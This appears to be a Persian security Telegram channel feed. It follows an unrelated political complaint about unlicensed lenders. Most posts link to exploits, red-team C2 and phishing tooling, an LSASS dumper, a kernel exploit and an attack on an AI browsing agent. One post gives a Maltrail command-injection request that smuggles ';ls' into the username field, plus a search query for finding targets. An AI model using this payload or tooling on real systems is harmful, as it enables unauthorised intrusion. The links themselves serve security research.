مجوز برای دزدی از مردم!

بانک مرکزی اعلام کرده است اگر مردم به «نهادهای مالی و اعتباری و صندوق‌های قرض‌الحسنه» که مجوز از بانک مرکزی ندارند مراجعه کنند مسئولیت امر با خود مردم است!

این چه دولتی است که مانع فعالیت «نهادهای مالی و اعتباری و صندوق‌های قرض‌الحسنه» بدون مجوز نمی‌شود و آن‌ها آزادانه می توانند تبلیغ کنند و محل فعالیت خود را بخرند یا اجاره کنند و از مردم پول بگیرند؟!

آیا از اختیارات بانک مرکزی نیست که چنین نهادهای مالی را شناسایی و غیرمجاز بودن آن‌ها را به دادستانی اعلام کند؟

آیا دادستانی مانند بخشنامه‌های سگ‌گردانی نمی‌تواند به نیروی انتظامی ابلاغ کند فعالیت بنگاه‌های مالی را شناسایی کنند و مانع فعالیت آن‌ها شوند؟!

تاکنون چند نهاد مالی بدون مجوز فعالیت کرده و بعد مدیران آن‌ها فراری یا ورشکسته شده‌اند و دولت با کمک همین بانک مرکزی از محل منابع مالی ملی بخشی از پول‌های به‌باد‌رفته را به صاحبان آن‌ها برگردانده ولی بنیادگذاران این نهادهای بدون مجوز پول‌های دزدیده شده از مردم را بین خود و حمایت‌گران وابسته به نظام تقسیم کرده‌اند؟!

بنظرم یک نگاه به زندان هایتان بیندازید و سبک و سنگین کنید ...

🤖🔍اپراتور OpenAI - کلیک روی منبع دلخواه توسط حمله TOCTOU.

https://github.com/google/security-research/security/advisories/GHSA-mp56-7vrw-qxvf

@PfkSecurity

exploitee.rs
اکسپلویت‌های دستگاه‌های IoT

@PfkSecurity

پیاده سازی زیرساخت تیم قرمز

پیاده سازی خودکار زیرساخت تیم قرمز با استفاده از GitHub Actions.
بر پایه اصولی که توسط Ralph May WarHorse گذاشته شده است.

این مجموعه ابزار، پیاده سازی خودکار زیرساخت تیم قرمز را با استفاده از جریان‌های کاری GitHub Actions فراهم می‌کند. این ابزار از فدیم ورک های C2 قابل تنظیم و عملیات فیشینگ پشتیبانی می‌کند و بر پیاده سازی ایمن و قابل تکرار تأکید دارد.

https://github.com/CultCornholio/RedTeamTP

@PfkSecurity

CVE-2025-34073

fofa   app="Maltrail"

POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

username=;ls

@PfkSecurity

Red teaming tool to dump LSASS memory, bypassing basic countermeasures.

https://github.com/0xdea/blindsight

@PfkSecurity

https://dinohacks.com/posts/2025/2025-03-17-defeating-string-obfuscation-in-obfuscated-nodejs-malware/

شکستن Obfuscation رشته‌ها در بدافزار NodeJS مبهم‌ شده با استفاده از AST


در مقاله‌ی «Defeating String Obfuscation in Obfuscated NodeJS Malware using AST» که در سایت DinoHacks منتشر شده، به روشی پرداخته می‌ شود که از تحلیل ساختار نحوی کد (AST یا همان Abstract Syntax Tree) برای مقابله با رمزگذاری پیچیده رشته‌ ها در بدافزارهای نوشته‌ شده با NodeJS استفاده می‌ کند.

خلاصه
⦁ بدافزارهای NodeJS اغلب کدهای خود را به صورت مبهم (Obfuscated) در می‌ آورند تا تحلیلشان سخت شود، به‌ خصوص رشته‌های حساس مثل URLها، کلیدها یا کدهای کاری.
⦁ تحلیل دستی این رشته‌های رمزگذاری شده زمان‌بر و پرخطاست.
⦁ با استفاده از AST، یعنی تبدیل کد به ساختار درختی نحو، میتوان رشته‌ها و متغیرهای رمزگذاری شده را شناسایی و مقادیر واقعی آنها را استخراج کرد.
⦁ این روش باعث می‌ شود فرآیند تحلیل بدافزار سریع‌تر، دقیق‌تر و اتوماتیک‌تر شود.
⦁ در نهایت، این رویکرد، ابزار مفیدی برای محققان امنیتی و افراد مقابله‌کننده با بدافزارهای NodeJS فراهم می‌کند تا بدون نیاز به بازنویسی دستی کل کد، به سرچشمه داده‌های رمزگذاری شده برسند.

@PfkSecurity

https://www.preludesecurity.com/runtime-memory-protection

معرفی حفاظت از حافظه در زمان اجرا
پیش‌نمایش تحقیقاتی عامل ویندوز در حالت کاربر ما که به طور جامع اجرای کدهای مخرب را شناسایی می‌کند.

@PfkSecurity

این یک فازر پایه برای سندباکس V8 است

https://github.com/googleprojectzero/fuzzilli/commit/675eccd6b6d0c35ea6c7df24a0a1e513cce45bb3

@PfkSecurity

https://a13xp0p0v.github.io/2025/09/02/kernel-hack-drill-and-and-cve-2024-50264.html

کرنل - تمرین هک و یک روش جدید برای exploiting از CVE-2024-50264 در هسته لینوکس
@PfkSecurity

https://github.com/zakharb/labshock

لابراتور امنیت OT برای شبکه‌های ICS

@PfkSecurity

CVE-2025-48539
دسترسی به Bluetooth Stack اندروید از طریق وای‌ فای مجاور بدون تعامل کاربر. با زنجیره افزایش سطح دسترسی، مهاجم می‌ تواند دسترسی کامل به دستگاه را از راه دور به دست آورد.

https://osv.dev/vulnerability/ASB-A-406785684

@PfkSecurity